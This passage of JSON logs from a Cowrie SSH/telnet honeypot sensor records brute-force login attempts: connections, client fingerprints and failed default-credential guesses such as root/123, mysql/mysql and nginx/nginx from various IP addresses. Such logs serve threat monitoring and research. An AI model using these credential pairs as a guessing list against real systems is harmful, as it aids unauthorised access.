d25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:35.838816Z","src_ip":"43.163.119.215","session":"d068072f5182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:36.550860Z","src_ip":"43.163.119.215","session":"d068072f5182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:36.799681Z","src_ip":"43.163.119.215","session":"51fed8255f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:37.790825Z","src_ip":"43.163.119.215","session":"d068072f5182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46512,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6d4dc888087","protocol":"ssh","message":"New connection: 103.75.199.4:46512 (159.203.135.109:22) [session: c6d4dc888087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:49.392851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:49.397978Z","src_ip":"103.75.199.4","session":"c6d4dc888087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:49.489544Z","src_ip":"103.75.199.4","session":"c6d4dc888087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:49.762083Z","src_ip":"103.75.199.4","session":"c6d4dc888087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:50.856342Z","src_ip":"103.75.199.4","session":"c6d4dc888087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":46820,"dst_ip":"10.17.0.5","dst_port":23,"session":"f01a4f32aa69","protocol":"telnet","message":"New connection: 142.93.69.27:46820 (10.17.0.5:23) [session: f01a4f32aa69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:53.397917Z"}
{"eventid":"cowrie.session.closed","duration":2.8128132820129395,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:56.210600Z","src_ip":"142.93.69.27","session":"f01a4f32aa69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":47276,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d887f880c9","protocol":"ssh","message":"New connection: 43.163.119.215:47276 (10.17.0.5:22) [session: d0d887f880c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:56.919452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:56.923997Z","src_ip":"43.163.119.215","session":"d0d887f880c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":52812,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa9bdb26ee9","protocol":"ssh","message":"New connection: 43.153.46.75:52812 (159.203.135.109:22) [session: efa9bdb26ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:56.959892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:56.965226Z","src_ip":"43.153.46.75","session":"efa9bdb26ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:57.033644Z","src_ip":"43.153.46.75","session":"efa9bdb26ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:57.169378Z","src_ip":"43.163.119.215","session":"d0d887f880c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:57.338015Z","src_ip":"43.153.46.75","session":"efa9bdb26ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:57.908810Z","src_ip":"43.163.119.215","session":"d0d887f880c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:58.409698Z","src_ip":"43.153.46.75","session":"efa9bdb26ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:59.156954Z","src_ip":"43.163.119.215","session":"d0d887f880c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51870,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cd2861993b2","protocol":"ssh","message":"New connection: 43.163.119.215:51870 (10.17.0.5:22) [session: 8cd2861993b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:59.597715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:59.603576Z","src_ip":"43.163.119.215","session":"8cd2861993b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:59.851521Z","src_ip":"43.163.119.215","session":"8cd2861993b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:00.574104Z","src_ip":"43.163.119.215","session":"8cd2861993b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":46280,"dst_ip":"159.203.135.109","dst_port":22,"session":"53c6c32a682d","protocol":"ssh","message":"New connection: 202.29.225.206:46280 (159.203.135.109:22) [session: 53c6c32a682d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:01.161955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:01.166804Z","src_ip":"202.29.225.206","session":"53c6c32a682d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:01.425611Z","src_ip":"202.29.225.206","session":"53c6c32a682d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:01.818430Z","src_ip":"43.163.119.215","session":"8cd2861993b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"o0o0o0o0","message":"login attempt [root/o0o0o0o0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:02.450623Z","src_ip":"202.29.225.206","session":"53c6c32a682d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:03.699646Z","src_ip":"202.29.225.206","session":"53c6c32a682d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":48684,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4e925c0728","protocol":"ssh","message":"New connection: 163.7.9.84:48684 (10.17.0.5:22) [session: 5c4e925c0728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:04.569845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:04.574644Z","src_ip":"163.7.9.84","session":"5c4e925c0728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:04.827089Z","src_ip":"163.7.9.84","session":"5c4e925c0728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:05.864568Z","src_ip":"163.7.9.84","session":"5c4e925c0728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57368,"dst_ip":"10.17.0.5","dst_port":22,"session":"96e45cc42438","protocol":"ssh","message":"New connection: 43.163.119.215:57368 (10.17.0.5:22) [session: 96e45cc42438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:06.311661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:06.317886Z","src_ip":"43.163.119.215","session":"96e45cc42438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:06.557537Z","src_ip":"43.163.119.215","session":"96e45cc42438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:07.120316Z","src_ip":"163.7.9.84","session":"5c4e925c0728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:07.325484Z","src_ip":"43.163.119.215","session":"96e45cc42438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:08.567982Z","src_ip":"43.163.119.215","session":"96e45cc42438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":37084,"dst_ip":"159.203.135.109","dst_port":22,"session":"adbae88285d3","protocol":"ssh","message":"New connection: 154.83.196.237:37084 (159.203.135.109:22) [session: adbae88285d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:10.243303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:10.247950Z","src_ip":"154.83.196.237","session":"adbae88285d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:10.369412Z","src_ip":"154.83.196.237","session":"adbae88285d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:10.884913Z","src_ip":"154.83.196.237","session":"adbae88285d3","protocol":"ssh"}
